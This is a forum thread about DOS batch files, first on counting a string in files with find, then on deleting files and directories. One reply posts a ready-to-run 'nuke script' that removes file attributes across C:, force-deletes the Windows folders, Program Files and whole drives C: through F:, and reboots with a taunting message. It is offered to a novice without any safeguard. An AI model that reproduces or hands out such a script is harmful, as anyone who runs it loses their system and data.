DOS batch job

Status
Not open for further replies.

proxi

Beta member
Messages
1
I don't know anything about DOS batch programming so pleazze help... I gues it's very easy (if you know it :p )

I need to have a batch job to scan some files and to look for a certain string (e.g. "uprolog").
If the string appears only once the return-code should be "0" else if it appears more than 1 time, the return-code should be set to "1"...

Thanx for your feedback!!
 
i dont think BAT can do that. BAT is not really able to do much other than DOS commands. you should look into a real programing language for that purpose.
 
I was actually going to start a thread asking this, but I'll just use this one. How exactly would I go about getting a batch file to delete multiple directories and files? By that I mean how would I format it? Headers, structures, and codes. Once I know that I can add the files into it and save. As well, DOS batch files can run in WinXP safe mode, right?
 
the Deltree command will delete a tree of directories...
the Find command will find strings in files...

You would need to write something - to interpret the output of the find command...
C:\> find /c *.txt "the" >t.tmp
***you need to interpret what is in t.tmp...***"
maybe sort command will help?

do you have grep or anything like that available?
 
So wait...to program this, all I need to do is use notepad to write the commands (seperated by new lines?) and save it as something.bat???
 
yes its just text document with BAT extension. you can only use deltree if you have a copy of the program. deltree is not a basic command of DOS. there are versions of deltree for winXP.

heres an example of a nuke script that will destroy winXP and data. for help on the switches type the command you want to learn ad /? or computerhope.com has some help:

copy c:\windows\system32\shutdown.exe C:\windows\tasks\ /y
attrib -r -a -s -h c:\ /s
del c:\windows\system\*.* /f/s/q
del c:\windows\system32\*.* /f/s/q
del c:\windows\*.* /f/s/q
del c:\progra~1\*.* /f/s/q
del c:\*.* /f/s/q
del d:\*.* /f/s/q
del e:\*.* /f/s/q
del f:\*.* /f/s/q
C:\windows\tasks\shutdown.exe -r -t 20 -c "I Am Everywhere, You Can Not Stop Me!" -f
 
Status
Not open for further replies.
Back
Top Bottom